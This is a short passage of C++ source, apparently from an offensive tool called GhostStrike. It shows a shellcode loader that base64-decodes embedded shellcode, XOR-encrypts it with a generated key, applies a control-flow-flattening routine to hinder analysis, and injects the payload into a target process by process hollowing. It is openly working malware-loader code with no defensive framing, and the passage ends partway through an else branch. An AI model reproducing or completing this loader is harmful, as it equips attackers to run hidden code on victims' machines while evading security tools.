INNER CODE UNIT · C++
shellcode_base64
stivenhacker/GhostStrike · GhostStrike.cpp:270
std::string shellcode_base64 = base64_encode(DesarrolloMagico_bin, DesarrolloMagico_bin_len); //Shellcode Name Bin and Len DesarrolloMagico_bin, DesarrolloMagico_bin_len replace with yours
// Decode the shellcode from Base64
std::vector<unsigned char> decoded_shellcode = base64_decode(shellcode_base64);
// Generate a cryptographically secure encryption key based on the length of the decoded shellcode
std::vector<unsigned char> key = generate_key(decoded_shellcode.size());
xor_encrypt_decrypt(decoded_shellcode.data(), decoded_shellcode.size(), key);
// Implement control flow flattening in the main function
bool continue_execution = true;
int state = 0;
control_flow_flattening(continue_execution, state);
if (state == 3 && process_hollowing(target_path, decoded_shellcode.data(), decoded_shellcode.size(), key)) {
std::cout << "Process hollowing successful.\n";
}
else {